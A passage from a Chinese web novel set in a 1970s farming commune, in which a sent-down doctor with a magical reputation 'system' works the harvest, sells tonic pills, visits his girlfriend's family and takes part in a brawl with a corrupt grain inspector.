短暂的休息只有不到半个钟头,社员们就又扛着工具下了地。 太阳从正当空,一直到染红西边的天际,再到月上中天。 整个青莲公社,都沉浸在与时间赛跑的紧张忙碌之中。 等到李有柱终于宣布今天收工时,已是深夜。 江沐感觉自己两条腿都快不是自己的了。 饶是他这副被丹药改造过的身体,此刻也觉得骨头缝里都透着一股酸软。 他几乎是沾着枕头就沉入了黑甜的梦乡,连系统面板都忘了看一眼。 第二天,天刚蒙蒙亮,江沐强撑着酸痛的身体来到牛棚。 刘树林大爷已经在那了,正慢悠悠地给老黄牛梳着毛。 “江医生,醒啦?”刘树林浑浊的眼睛里带着笑意,“昨儿个累坏了吧?你这城里娃,哪干过这种玩命的活计。” 江沐苦笑着活动了一下肩膀,“确实有点……刘大爷,咱们这双抢,得忙活多久?” “快了也得半个月。”刘树林吐了口烟圈,眼神变得悠远,“这还是老天爷赏脸,要是中间下几场雨,那日子就没边了。” 接下来的日子,是第一天的无限重复。 毒辣的日头悬在头顶,将黄土地烤得滚烫,空气中弥漫着麦秆的清香和汗水的咸湿味。 江沐的皮肤被晒得黝黑,手臂上也磨出了茧子,赶牛车的技术却愈发娴熟。 高强度的劳作,让不少社员都累出了毛病,不是腰扭了,就是胳膊腿酸痛得抬不起来。 江沐的膏药,在这时成了抢手货。 每天晚上,都有人揣着几毛钱,到他屋里求上一贴。 那神奇的效果,一晚上就能让人缓过劲来,第二天又能生龙活虎地下地。 “江医生这膏药,比县里医院开的红花油管用多啦!” 这样的赞誉,每天都在为江沐贡献着源源不断的声望值。 终于,在连续奋战了七天之后,最后一片麦田的麦子被收割完毕。 当李有柱宣布这个消息时,整个青莲公社都沸腾了。 碾麦子虽然也累,但好歹不用在烈日下暴晒,相对轻松了不少。 这天傍晚,公社书记周志康和队长李有柱一起来到了江沐的卫生所。 “江沐同志,这几天辛苦你了!”周志康用力握了握江沐的手,眼神里满是赞许,“你可不光是咱们的医生,还是咱们双抢的大功臣呐!” 李有柱在一旁咧着大嘴直乐,“书记说得对!要不是你那膏药,咱们队里起码得倒下一半人!那玩意儿是真神!” 这边话音刚落,最后一车麦子也进了粮仓。 几乎是同时,天边一道闪电划破夜空,紧接着,一声炸雷响起。 豆大的雨点噼里啪啦地砸下来,瞬间在干燥的地面上溅起一团团尘土,空气中立刻弥漫开一股清新的土腥味。 碾场上的社员们先是一愣,随即爆发出震天的欢呼。 “下雨啦!老天开眼啊!” “可算下雨了!麦子都进仓了,下的真是时候!” 所有人都感慨,这真是跟老天爷抢回来的粮食。 大雨下了一天一夜。 雨停后,歇了一天,李有柱又带着村民们,开始了新一轮的忙碌——抢种玉米。 江沐自然也跟着一起,点豆、施肥,一样没落下。 半个月的时间一晃而过,当最后一垄玉米地也播种完毕,今年的双抢才算真正画上了句号。 江沐看了一眼系统面板,声望值那一栏的数字,已经悄然变成了【680】。 他给自己放了一天假,准备好好休整一下。 可他这假还没歇安稳,孙阳就骑着自行车,火急火燎地找上了门。 孙阳一见他,眼睛都亮了,三步并作两步冲过来,那架势。 “我的江老弟!你可让我好等啊!我那些老伙计,天天催,就差住到我供销社里去了!” 他压低了声音,脸上带着掩饰不住的兴奋,“你那滋补丹,现在可是咱们县里干部圈的硬通货!我这都快成你专职的代销员了!” 江沐看着他急切的样子,心里有了数。 第二天一大早,他便带着精心准备好的丹药,直奔公社找周志康。 周志康正在办公室里看文件,见他进来立刻道。 “小江,你总算来了!沈县长那边都问过两回了!” 江沐不卑不亢地笑了笑,“周书记,您也知道,这几天正赶上双抢,我是真抽不开身。这不,昨儿个刚忙完,今天就给您送来了。” 说着,他从随身的布包里,小心翼翼地取出了四个白瓷瓶,并排放在桌上。 每个瓶子都装着五十颗丹药,散发着淡淡的药香。 “您看,都在这儿了。您要多少?” 周志康的目光扫过那四个瓷瓶,眼睛里闪过热切。 “你这些我全要了!我直接给沈县长送去,让他自己分!” 周志康他拉开办公桌最下面的抽屉,从里面取出一个厚厚的牛皮纸信封,拍在桌上。 “四百块,你点点。” 江沐没有去碰那个信封,只是从里面抽出七张崭新的大团结,又轻轻推了回去。 “周书记,您帮我跑前跑后,这事才能这么顺当。这是我的一点心意,您务必收下。”他的动作不疾不徐,语气平静。 周志康的眼神微微一凝,深深地看了江沐一眼。 这小子,不光医术高明,做人做事更是通透得不像个年轻人。 他不再推辞,指节在桌上敲了敲,算是默认。 “小江,客气了,以后有什么事,直接来找我。” 这便是一份沉甸甸的承诺。 江沐收好剩下的三百五十块,和周志康告辞离开。 第46章 我给你们家领了个贵客来! 从公社出来,江沐径直去了趟镇上的卫生院。 凭着上次抢救出血热病人的脸熟,他没费多少功夫就找到了后勤科的主任,又悄无声息地出手了两瓶滋补丹。 二百块钱入袋,又换了一批紧俏的药品,这才心满意足地离开。 怀揣着近五百块的巨款,江沐的心思活络了起来。 他拐进了供销社,在售货员惊讶的目光中,买了两瓶西凤酒、两条大团结牌香烟。 还破天荒地扯了二尺最时兴的的确良布料,最后又称了两斤水果糖。 回到知青点自己那间小屋,将东西一一安置妥当,江沐拎上准备好的礼物,深吸一口气,朝着李有柱家走去。 刚到院门口,就见张兰婶子正坐在门槛上纳鞋底。 “婶子。” 张兰一抬头,见是江沐,还拎着这么多东西,顿时乐了。 “哟,江医生,这是发财了?买这么多好东西。” 江沐将礼物放在她脚边,神情带着郑重。 “婶子,我想……正式去小月家拜访一下,您看能不能帮我引荐引荐?” 张兰纳鞋底的针掉在了地上。她猛地一拍大腿,眼睛瞪得溜圆,脸上的褶子都笑开了花。 “哎哟我的老天爷!你这孩子,可算开窍了!等着,婶子换件衣裳就带你去!” 她冲进屋里,片刻之后,一个穿着崭新蓝布褂子的张兰便精神抖擞地走了出来,不由分说地拎起礼物,拽着江沐就往村东头走。 “小江啊,”路上,张兰的热情简直能把石头融化,“你跟婶子透个底,这事儿……你打算啥时候办啊?要我说,趁热打铁,等秋收完了就摆酒!” 江沐被她的热情弄得有些哭笑不得,只能含糊地应着。 “婶子,这事儿不还得看小月和她家里的意思嘛,我听她的。” 这句话,让张兰更是满意,脚下的步子都轻快了几分。 张小月家离得不远,是个收拾得干净利落的农家小院。 他们刚到门口,一个半大的小子就从院里探出头,看见张兰,脆生生地喊了一声“姑姑”,随即又看到了江沐,黝黑的脸蛋上升起几分好奇。 “小虎,快去喊你爹娘,有贵客来了!”张兰的大嗓门在院子里回荡。 话音未落,屋里便呼啦啦走出来一家人。 为首的正是张小月的父亲张峰,旁边是她面容和善的母亲刘桂芝,身后还跟着一脸羞涩的张小月和她另一个弟弟。 “阿兰,你怎么来了?”张峰脸上挂着憨厚的笑,目光却不着痕迹地在江沐身上打量。 “我给你们家领了个贵客来!”张兰把江沐往前一推,笑得合不拢嘴。 “这位就不用我多介绍了吧?江医生!江沐,这是小月她爹张峰,她娘刘桂芝。” 江沐上前一步,微微躬身,态度谦逊而诚恳。 “叔,婶子,你们好。冒昧来访,还请别见怪。” 他目光落在刘桂芝脚上,由衷地赞叹了一句,“婶子,上次小月送来的布鞋,穿着真舒服,您的手艺太巧了。” 刘桂芝本还有些局促,听了这话,脸上顿时笑开了花,那点生疏感瞬间烟消云散。“哎呀,你这孩子,嘴真甜!快,快进屋坐!” 张峰也爽朗地笑了起来,对自己这个未来的女婿越看越顺眼。 他冲小儿子张小虎一摆手,“去,把屋里那张八仙桌搬到院里来!天敞亮,在院里说话舒坦!” 很快,桌子搬好,众人围着桌子在院里的槐树下拉起了家常。 张峰点上一锅旱烟,深深吸了一口,这才慢悠悠地开了口。 “江医生,听小月说,你家是城里的?” “是,我父亲在市医院工作。” 江沐坦然地将家里的情况简略说了一遍,没有隐瞒自己复杂的家庭关系,也没有夸大什么,只是平静地陈述事实。 这种不卑不亢的坦诚,反而让张峰更加高看一眼。 这后生,有本事,有担当,还不浮夸,是能踏踏实实过日子的人。 聊到兴头上,张兰瞅准时机,清了清嗓子。“他叔,他婶,我今儿来啊,是替江沐这孩子提个事。我刚才在路上问他,啥时候跟咱小月把事办了,你猜他咋说?” 所有人的目光都聚焦在江沐身上。 “他说啊,全听女方家里的意思!”张兰一拍桌子,替江沐表明了心迹,“老哥,你看这事……” 张峰吧嗒了两下烟嘴,咧嘴一笑,露出一口被烟熏得微黄的牙。 “我没意见!娃娃们的事,让他们自个儿研究去!咱们当老的,不掺和!” 一句话,算是给这门亲事定了调。 一直待到日头偏西,江沐和张兰才告辞离开。 回去的路上,张兰还在回味。“江沐啊,你看小月她爹娘,人咋样?” “叔和婶子都是实在人,特别好。”江沐的回答发自内心。 两人刚进村,就迎面撞上了扛着锄头回来的李有柱。 “哟,这是把咱家未来的姑爷送回来了?”李有柱看着两人,咧着嘴调侃。 他放下锄头,抹了把汗,“江沐,正好你回来了,晚上跟我去趟公社,把咱们队的公粮交了。” “行,队长。”江沐一口应下。 李有柱又看了一眼自家婆娘,嘿嘿一笑。 “你婶子就是个操心的命,一天到晚就惦记着你跟小月的婚事,你可别嫌她烦。” “哪能啊,”江沐看向张兰,眼神里满是感激,“我得谢谢婶子才对,婶子,等我跟小月结婚那天,您得给我当证婚人!” 这话一出,张兰顿时眉开眼笑,连声应着“好好好”。 告别了李有柱夫妇,江沐往知青点走,路过大队书记高志强家门口时,被他儿子高建设拦了下来。 “江医生!”高建设一脸兴奋,“你不是说想要条狗娃吗?我家大黄下崽了,一窝六个,个个精神!你快去挑一个,你挑剩下的我再送人!” 江沐闻言,心中一动,跟着高建设进了院子。 墙角下的一个草窝里,六只毛茸茸的小狗崽正挤在一起,一只大黄狗警惕地守在旁边。 见江沐靠近,小狗崽们反而争先恐后地朝他爬过来,伸出粉嫩的舌头舔他的手指。 “你看,都壮实着呢!”高建设一脸骄傲。 江沐蹲下身,看着这群活泼的小生命,心中的疲惫一扫而空。 他指了指其中两只通体乌黑,唯有四只爪子是白色的公狗崽。 “建设哥,这两只,我都要了,行吗?” 第47章 一个叫虎虎,一个叫生风 江沐将车送回小屋安顿好,没多耽搁,转身就从包里摸出一条大前门香烟和一包水果糖,又折返回了高家。 “建设哥,给。”江沐把东西塞进高建设怀里。 “哎,你这干啥!自家兄弟,一条狗娃子还值当这些?”高建设嘴上推辞,手却老实地抱紧了。 这年头,烟和糖可是稀罕物,走亲戚都得掂量着给。 江沐自己抽出一根烟点上,又递给高建设一根。 “不是为狗,是谢你这个人情。” 高建设嘿嘿一笑,拿肩膀撞了他一下,凑过来压低声音,一脸八卦。 “行了,不说这个,倒是你,今天去老张家,事儿咋样了?叔和婶子没为难你吧?” “叔和婶子都是实在人,挺顺利的。”江沐吸了一口烟,吐出的烟雾在傍晚的空气中缓缓散开。 “那啥时候办事儿啊?”高建设的眼睛立刻亮了起来,“我可听说了,张小月那可是咱们公社的一枝花,手脚麻利,人又能干,你小子可是捡到宝了!” “八字刚有一撇呢,还没定。”江沐弹了弹烟灰,话锋一转,“倒是你,建设哥,前阵子听婶子说给你提了门亲,咋样了?” 提到这事,高建设那张黝黑的脸瞬间就泛起一层油光,透着一股压不住的喜气。 他挠了挠后脑勺,有些不好意思,但嘴咧得快到耳根子了。 “嘿,定了!就邻村的,人老实,也勤快。家里商量好了,十月末就办事儿!” “那可得恭喜你了!”江沐由衷地替他高兴。 “光恭喜有啥用,”高建设拍了拍胸脯,豪气干云,“过几天我就得开始拾掇地基盖新房了,到时候你小子可得过来搭把手!我那老丈人说了,没新房,不嫁女!” “放心吧,建设哥,”江沐的眼神很认真,“只要你开口,我肯定到。” 这份承诺让高建设心里热乎乎的。 他又猛吸了一口烟,像是想起了什么,神色变得严肃了些。“对了,你今晚真跟有柱叔去交公粮?” “嗯,说好了的。” “那你可得留点神,”高建设的声音压得更低了,带着神秘和警惕。 “前些年,隔壁红旗公社去交公粮,走到半道上,黑灯瞎火的,一车粮食硬是让几个蒙面人给抢了!虽说后来人抓着了,但那粮食是丁点没找回来。你们今晚人多,应该没事,但多长个心眼总没错。” 江沐点了点头。 这年头,穷山恶水,为了一口吃的铤而走险的人,绝不在少数。 两人又闲扯了几句,眼看天色彻底暗了下来,江沐才抱着两条嗷嗷待哺的小狗崽回了自己那间小屋。 一进屋,他看着怀里这两个通体乌黑,唯有四蹄雪白的小家伙,心头一动。 一个念头浮上脑海。 “一个叫虎虎,一个叫生风。合起来,虎虎生风。”他掂了掂两个小家伙,自言自语地给它们定了名。 安顿好两个小家伙,江沐便开始生火做饭。 米下锅的功夫,他忽然闻到一股不对劲的土腥味。 扭头一看虎虎生风两个小东西,正精力旺盛地在他那块开辟出来的药圃里拱土,目标明确,直奔那几株被他视为心头肉的野山参! “好家伙!”江沐一个箭步冲过去,一手一个,将两个犯罪分子拎了起来,哭笑不得。 这才多大点儿,就开始霍霍他的宝贝疙瘩了。 他把两只小狗关进屋里,快手快脚地熬了一锅稠乎乎的玉米糁子粥,又往里滴了几滴肉汤。 香气一飘出来,虎虎和生风立刻忘了刚才的训斥,围着饭盆狼吞虎咽,吃得比在高建设家好上百倍。 吃饱喝足,两个小家伙便蜷在墙角的旧衣服上睡着了。 江沐借着月光,去屋后的竹林里砍了些竹子,手脚麻利地将菜园和药园都围上了一圈半人高的篱笆。 忙完这一切,他回到屋里,心念一动,唤出了系统商城。 之前抽奖得到的一枚丹药,此刻正静静地躺在物品栏里——【宠物锻体丹】。 他刚将那枚散发着淡淡青光的丹药取出来,原本睡得正沉的虎虎忽然鼻子一动,猛地睁开眼,跌跌撞撞地朝他跑了过来,绕着他的脚边打转,喉咙里发出渴望的声音。 “嘿,你这小东西,鼻子还真尖。”江沐心中称奇。 他找来一个破碗,将丹药放进去,兑了点温水化开,一股奇异的药香瞬间弥漫开来。 他将药液一分为二,分别喂给了虎虎和生风。 两个小家伙舔得干干净净,咂咂嘴,又沉沉睡去。 夜深人静,时间悄然滑向十一点。 江沐估摸着时间差不多了,起身穿好衣服。 他刚一动,墙角的虎虎和生风便齐刷刷地睁开了眼,站起身,精神抖擞地就要跟上来,那眼神比之前灵动了不止一星半点。 “你们俩给我老实待着。”江沐笑了笑,将它们一个关在屋里,一个关在门外用篱笆围起来的小院里,这才锁好门,大步朝着大队部走去。 月光如水,将乡间小路照得一片清冷。 还未走近大队部的院子,江沐就看到那里火光冲天,人声鼎沸。 李有柱正光着膀子,露出一身古铜色的腱子肉,站在一辆装得冒尖的牛车上,扯着嗓子大喊。 “都给老子把麻袋码结实了!路上要是颠掉一袋,看我扒了你们的皮!” 院子里,十几个汉子正将一袋袋公粮扛上牛车。 江沐几步赶到牛车旁,二话不说,挽起袖子就搭了把手。 他常年锻炼,又被系统强化过,身体素质远超常人。 一个一百多斤的麻袋,他单手拎起,轻松甩上牛车,看得旁边几个累得直喘粗气的汉子眼都直了。 有了他这个生力军加入,最后几袋公粮很快就装填完毕。 李有柱从牛车上跳下来,拍了拍手上的灰,从兜里掏出一包皱巴巴的大生产香烟,给在场的汉子们一人散了一根。 “都歇口气,喝口水!待会儿路上还得颠大半夜,养足了精神!” 一支烟的功夫很快过去,李有柱掐灭烟头,大手一挥。 “出发!” 第48章 弄他丫的,给脸不要脸 队伍浩浩荡荡,两辆牛车压着深深的车辙,在月光下吱呀作响。 除了赶车的,还有十几个青壮年跟着,人手一根木棍或铁锹,既是壮胆,也是提防。 一路之上,众人紧绷的神经慢慢放松下来,开始有说有笑。 乡野的夜晚寂静,偶尔几声犬吠虫鸣,更衬得这支队伍的热闹。 等他们赶到公社粮站时,已是后半夜三点多。 粮站是个大院子,里头已经停了好几辆牛车,几十号人三三两两地或坐或躺,昏黄的煤油灯光下,人影绰绰,嘈杂声、鼾声混成一片。 空气中弥漫着汗味、烟味和粮食的谷物香气。 李有柱是老熟人了,把牛车停好,就过去跟另外几个大队的队长凑到一块儿,抱怨今年的收成和这该死的天气。 江沐则跟高建设他们几个年轻人找了个背风的墙角坐下。 夜风带着凉意,吹得人有些犯困,但谁也不敢真睡。 陆陆续续地,又有其他大队的队伍赶到,院子里的人越来越多,也越来越喧闹。 就这么吵吵嚷嚷,从月上中天,一直等到东方泛起了鱼肚白。 早上六点刚过,粮站办公室的门开了,一个睡眼惺忪、头发乱糟糟的老头走了出来,一脸的起床气,对着院子里的人就是一顿吼。 “嚷嚷什么!嚷嚷了一晚上,还让不让人睡觉了!没上班呢,都给老子闭嘴!” 院子里瞬间一静,随即炸开了锅。 熬了一宿的年轻人们本就一肚子火气,听到这话更是火上浇油。 一个后生仔当即就跳了起来。 “嘿我说你个老家伙,我们交公粮的在这儿喂了一晚上蚊子,你倒在屋里睡得香!还嫌我们吵?” “就是!我们天不亮就赶路,你以为我们想在这儿待着啊?” 老头双手叉腰,眼睛一瞪。 “不想待着就滚!公粮不交了?告诉你们,今天谁他娘的再吵,就排到最后一个去!” 这话一出,几个大队长脸色都变了,赶紧跑过来。 江沐眉头微蹙,压低声音问身旁的高建设。“建设哥,这粮站的人,谱这么大?” “谱大?何止是谱大!”高建设啐了一口,声音里满是鄙夷。 “这帮孙子,就是阎王好见,小鬼难缠!个个屁股后头都沾亲带故,你得罪一个,他们就能合起伙来给你使绊子。 去年我爹来交粮,就因为没给收粮那小子递烟,硬是被说粮食潮了,不合格,前前后后折腾了三天!本来一天就能干完的活,愣是给耽误了!” 江沐了然。 原来是这个年代特有的潜规则。 几个大队长,包括青莲公社的书记高志强,也就是高建设的父亲,此刻都围着那老头,满脸堆笑,又是递烟又是点火,好话说了一箩筐,才把那老头的火气给安抚下去。 随着粮站的大门缓缓打开,各个大队开始排队过秤、验粮。 轮到二大队时,李有柱的心都提到了嗓子眼。 他一眼就看到了那个负责验粮的年轻人,正是去年故意刁难他们的那个小子。 李有柱心里直念叨,祖宗保佑,可千万别再出幺蛾子了。 那年轻人懒洋洋地走过来,瞥了一眼牛车,漫不经心地问。“哪个队的?” “青莲公社,二大队。”李有柱陪着笑脸。 年轻人哦了一声,走到车边,没用专门的探子,只是随手将胳膊插进麻袋里,抓了一把麦子在手里捻了捻,然后往地上一扔,眼皮都懒得抬一下。 “你们这粮……晒得不达标啊。” 这轻飘飘的一句话,狠狠砸在二大队所有人的心口上! 李有柱那张饱经风霜的黑脸瞬间就沉得能滴出水来,脖子上的青筋一根根暴起。 “小兔崽子,你小子别太过分了!去年的事我还没跟你算账,今年你又来这套?!” 那小年轻浑然不怕,反而嗤笑一声,迎着李有柱的目光硬顶了回去。 “李队长,说话可得讲证据。我说不达标,就是不达标!这是规定!你要是不服,可以拉回去重新晒嘛!” “你!”李有柱气得浑身发抖。 高志强书记赶紧上前打圆场,姿态放得极低。 “小同志,你看,大家伙儿都熬了一夜,不容易。这粮食我们都是挑最好的大晴天晒的,绝对没问题。您高抬贵手,通融通融?” 年轻人鼻孔朝天,斜着眼看他,一副油盐不进的模样。 “高书记,这不是通融不通融的事,是原则问题!我说不达标,就是不达标!” 这话,彻底点燃了二大队所有人的怒火。 辛苦一年的血汗,熬了一夜的疲惫,此刻全化作了熊熊的怒焰。去年被这家伙卡了三天的屈辱感,再次涌上心头。 人群中,不知是谁爆喝一声。 “弄他丫的,给脸不要脸!” 瞬间,十几个熬红了眼的汉子像一群被激怒的公牛,轰然一声,朝着那小年轻就扑了过去! 高建设首当其冲,一脚就将那小子踹翻在地! 紧接着,无数只带着泥土和老茧的拳脚,雨点般地落了下去。 那小子连惨叫都没来得及发出一声,就被愤怒的人潮彻底淹没! 李有柱和高志强站在原地,双拳紧握,眼神冰冷,竟是没有半点要阻拦的意思。 既然已经撕破了脸,那就索性把天捅个窟窿! 粮站的其他工作人员见状,纷纷冲过来想要拉架。 “住手!你们要造反吗!” 然而,迎接他们的,是二大队汉子们更加凶悍的反击! 一个拉一个,两个打一双! 转眼间,又有三四个粮站的人被按在地上,和那个年轻人一起,享受着特殊的待遇。 旁边排队的三大队,看到这场面,反而有人兴奋地挥舞着拳头,大声叫好。 “干得漂亮!这帮狗娘养的,早就该揍了!” “都给我住手!想干什么?反了天了不成?!” 众人循声望去,只见一个穿着干部服的中年男人正分开人群,脸色铁青地大步走来,正是这公社粮站的站长,赵明。 高志强书记浑浊的眼睛里精光一闪,几乎是瞬间,他不动声色地朝儿子高建设递去一个眼色。 第49章 原来是外甥!怪不得这么嚣张 高建设心领神会,他本就是个机灵人,刚才带头动手是泄愤,现在见主事的来了,自然要见好就收。 他一把拽住身边一个还想冲上去的后生,低吼了一声:“都停下!” 这一声,像是命令。 二大队的汉子们虽然个个胸膛起伏,喘着粗气,眼神依旧凶狠得像要吃人,但终究还是慢慢松开了手,从那几个被打得哼哼唧唧的粮站人员身上退开。 一时间,场面诡异地安静下来,只剩下那个小年轻和几个同事躺在地上呻吟的声音。 赵明看着自己手下那几个鼻青脸肿、狼狈不堪的模样,太阳穴突突直跳。 可当他的目光扫过那十几个围成一圈、手持棍棒铁锹、面色不善的庄稼汉时,心里还是咯噔一下,暗道不好。 他清楚,此刻若是强硬弹压,这火非但灭不了,反而会烧得更旺! “高书记,李队长,”赵明强压下心头的火气,尽量让自己的声音听起来平稳。 “这是怎么回事?交个公粮而已,怎么还动上手了?有什么话不能好好说?” 李有柱胸口那团火还没熄呢,闻言一下就顶了上去,指着地上那个还在装死的小年轻,唾沫星子都快喷到赵明脸上了。 “好好说?赵站长,你问问他,他给我们好好说的机会了吗?去年!就是这个狗娘养的,说我们的粮食潮了,硬是把我们晾在这儿三天!整整三天!今年倒好,故技重施,连借口都懒得换,张嘴就说我们的粮不达标!” 李有柱越说越气,转身从自家牛车上抓起一把饱满金黄的麦子。 又快步走到旁边三大队的牛车旁,同样抓了一把,然后猛地伸到赵明眼前,两只拳头摊开。 “赵站长!你也是农村出来的,你给大伙儿评评理!你睁大眼睛看看,我们二大队的粮食,跟三大队的,到底有什么区别?!他凭什么说我们的不达标?!今天你要是不给个说法,我们二大队这粮,宁肯烂在地里,也绝不再交了!” 这番话掷地有声,带着一股子豁出去的决绝,院子里其他大队的人也纷纷附和起来,显然是积怨已久。 “对!给个说法!” “不能让他们这么欺负人!” 就在这时,地上那个被打得最惨的小年轻,挣扎着抬起头,看到赵明,像是看到了救星,带着哭腔就喊了出来。 “舅……舅舅!他们打人!你可得给我做主啊!” 一声舅舅让整个院子瞬间死寂! 所有人的目光一下全都聚焦在了赵明那张瞬间变得无比难看的脸上。 原来是外甥!怪不得这么嚣张! 这下,一切都说得通了。 江沐站在人群后方,嘴角勾起若有若无的冷笑。 真是个蠢货,这种时候喊出这层关系,不是火上浇油是什么? 赵明只觉得一股血气直冲脑门,恨不得一脚再把这个不成器的外甥踹晕过去。 他深吸一口气,猛地转身,对着那小子就是一声暴喝。 “你给我闭嘴!” 这一声吼,用尽了全力,直接把那小年轻给吼懵了。 赵明转回身,脸上已经换上了一副愧疚和歉意的表情,对着李有柱和高志强连连拱手。 “李队长,高书记,各位乡亲,对不住,实在是对不住!是我管教不严,出了这种混账东西!这事儿,是我们的错!” 他态度转变得极快,姿态也放得极低,让一众憋着劲儿还想闹大的人都愣了一下。 “我向大家保证,现在!立刻!马上就给二大队过秤!换人验粮!绝不耽误大家一分钟!” 李有柱还想说什么,却被高志强一把拉住。高书记冲他使了个眼色,自己则上前一步,唱起了红脸。 “赵站长言重了。年轻人嘛,办事毛躁,可以理解。既然您都这么说了,那咱们就听您的安排。大家伙儿熬了一晚上,都盼着早点回家呢。” 一场眼看就要失控的风波,就这么被两人一唱一和地压了下去。 赵明立刻叫来了一个面相老实的老师傅,亲自监督着给二大队验粮、过秤。 整个过程快得不可思议,没到十分钟,手续就全部办妥了。 当二大队的两辆牛车缓缓驶出粮站大门时,早上那个对着院子大吼大叫的老头,正缩在门房的角落里,头都不敢抬一下,生怕被这群煞星看到。 队伍里的气氛,与来时截然不同。 积压了一年的怨气,熬了一夜的火气,在刚才那顿拳脚中尽数宣泄,此刻只剩下一种酣畅淋漓的痛快。 高建设抹了把脸上的汗,得意洋洋地冲着身边的人吹嘘。 “看见没?对付这帮孙子,就得用拳头!他娘的,刚才那姓赵的要是敢帮他外甥说一句话,老子连他一块儿揍!” “说得对!揍他狗日的!” 李有柱赶着牛车走在最前面,黝黑的脸上绽放出笑容,他回头看了一眼士气高昂的队伍,扯着嗓子大喊。 “弟兄们,今儿个这事,干得漂亮!解气!等会儿到了镇上,都别走,我老李请客!一人一个大肉包子,管够!” “好!” “队长敞亮!” 人群中爆发出震天的欢呼。 到了镇上,队伍暂时解散。 有的人拿着刚发的几块钱补贴,钻进了供销社,想给家里的婆娘孩子扯块布,买点针头线脑。 江沐和李有柱、高建设几人,则直奔国营饭店,不多时,就提着一网兜热气腾腾的大肉包子出来了。 队伍重新集结,踏上了归途。 来时的压抑和疲惫一扫而空,取而代之的是胜利般的喜悦和轻松。 与此同时,粮站站长办公室里。 赵明阴沉着脸,坐在唯一的办公桌后。 他对面,站着他那个叫赵亮的外甥,以及另外几个被打的工作人员,一个个都跟斗败的公鸡似的,垂头丧气。 赵明一巴掌重重拍在桌子上,把所有人都吓得一哆嗦。 “长本事了啊!啊?一个个拿着鸡毛当令箭,觉得穿上这身皮,就能在老百姓头上作威作福了?你们也不撒泡尿照照自己是个什么东西! 人家一年到头,面朝黄土背朝天,就盼着这点收成!你们倒好,嘴皮子一碰,就想把人往死里折腾!” 他指着几人的鼻子,骂得毫不留情。 “今天也就是我来得快!我要是再晚来五分钟,你们信不信,这帮人真敢把你们打出个好歹来?!到时候,谁都保不住你们!” 几个工作人员被骂得头都抬不起来,囁嚅着不敢说话。 “行了,都滚出去!写份检查,明天交给我!”赵明不耐烦地挥了挥手。 几人如蒙大赦,灰溜溜地退了出去,顺手带上了门。 办公室里,只剩下赵明和他的外甥赵亮。 赵亮捂着还隐隐作痛的脸,委屈地开口:“舅……” “别叫我舅!”赵明猛地站起身,走到他面前,“赵亮我告诉你,今天我要不是你舅,第一个冲上去动手的,就是我!” 第50章 这房子,该不会塌了吧 “我告诉你赵亮,从你嘴里再让我听见那两个字,我撕了你的嘴!” 当初就不该心软!就不该听他那个姐姐,把这么个玩意儿弄进粮站来! 赵亮彻底慌了,两腿一软,差点没跪下去。 他从小到大,哪里见过舅舅这副要吃人的模样?那眼神,比二大队那群泥腿子挥过来的拳头还要吓人。 “舅……不,赵站长,我错了,我真的错了……”他的声音里已经带上了哭腔,哆哆嗦嗦地辩解。 “我……我就是想给咱们粮站把好关,没想把事情闹这么大……” “把关?”赵明气得发笑,笑声里全是嘲讽。 “你那是把关吗?你那是作威作福!你把老百姓当什么了?当成你捏着玩的泥人了?赵亮,你给我滚!立刻!马上!滚回你家去!” 他猛地一指办公室大门,手背上青筋暴起。 “什么时候学明白了怎么当个人,再想着出来找活干!现在,我不想再看见你!” 这一番话,彻底斩断了赵亮所有的侥幸。 他知道,这次是真的完了。 他失魂落魄地被那股气势推出了办公室,连门是怎么关上的都不知道。 果不其然,粮站这档子事,半天功夫就传遍了整个青莲公社。 公社书记办公室里,周志康把手里的搪瓷缸子重重往桌上一搁,发出一声巨响。 “赵明!你那个粮站,还想不想开了?!几十号壮劳力围着你的人打,这事要是捅到县里去,你我头上的帽子都得跟着飞!” 周志康是真的动了火。 他最烦的就是这种内部蛀虫搞出来的破事,不仅耽误生产,还严重破坏干群关系。 赵明站在办公桌前,低着头,姿态放得很低。 “书记,这事儿是我的责任,我用人不明,监管不力,我检讨。” “检讨?检讨能当饭吃?能把打坏的名声补回来?”周志康眼睛一瞪,随即话锋一转,“人呢?那个惹事的,你打算怎么处理?” “已经让他滚蛋了。”赵明答得干脆利落,“当天下午就让他卷铺盖走人了。” 听到这话,周志康脸上的怒气才稍稍缓和了一些。 他最欣赏的就是这种不拖泥带水、不护短的作风。 他端起茶缸吹了吹热气,抿了一口,语气也平缓下来。 “算你处理得还算及时。赵明啊,你记住,咱们的粮站是为人民服务的,不是某些人作威作福的衙门!下不为例!” “是,书记,我一定吸取教训。” …… 这场风波的后续,江沐并不关心。 当他赶着牛车回到知青点自己那方小院时,天色已经擦黑。 他刚把院门上的锁打开一条缝,就听见“汪!汪汪!”两声中气十足的犬吠。 紧接着,两道黑色的影子炮弹似的冲了过来,围着他的裤腿又嗅又蹭,尾巴摇得飞快。 正是他养的那两条公狗,虎虎和生风。 “行了行了,知道你们想我了。”江沐笑着揉了揉它们的脑袋,入手的感觉让他微微一惊。 这才一天不见,这两条狗仿佛凭空大了一圈! 原本还有些单薄的身子骨,此刻摸上去肌肉紧实,骨架都像是拉开了一些,奔跑跳跃间虎虎生风,比村里那些养了好几年的老狗瞧着还要精神。 “看来那锻体丹,效果还真不是盖的。”江沐心中暗忖,对系统的神奇又多了一份认知。 忙活了一天一夜,他现在是又累又饿,实在懒得再生火做饭。 心念一动,声望商城的界面便在眼前展开。 【兑换:红烧肉套餐一份,消耗声望值:5点】 【兑换:特级犬粮一袋(5kg),消耗声望值:10点】 瞬间,一份热气腾腾、香气四溢的红烧肉套餐和一大袋狗粮便出现在了系统空间中。 他取出饭菜在屋里狼吞虎咽,又给虎虎生风的食盆里倒满了营养丰富的狗粮,看着两个小家伙吃得头也不抬,江沐满意地打了个饱嗝。 这一觉,他直接睡到了第二天下午。 窗外的阳光透过窗棂照进来,暖洋洋的。 起床后,江沐先是淘米熬了锅肉粥,算是给两条狗改善伙食,随后便踱步到了后院的菜园子。 只一眼,他就被眼前的景象给惊艳到了。 黑土地的肥力果然名不虚传,菜园里绿油油的一片,生机勃勃。 尤其是角落里的黄瓜和豆角,藤蔓已经长出老长,正无处依附地在地上蔓延,急需搭个架子让它们往上攀爬。 说干就干。 江沐抄起墙角的柴刀,便去了后山。 没多大功夫,就扛着一捆粗细均匀的竹子回来了。 可他一进院子,就乐了。 只见虎虎和生风不知去哪儿疯跑了一圈,浑身上下挂满了苍耳,活像两只移动的刺球,正可怜巴巴地蹲在门口,用湿漉漉的眼睛瞅着他。 江沐哭笑不得,花了好一番功夫才把它们俩拾掇干净。 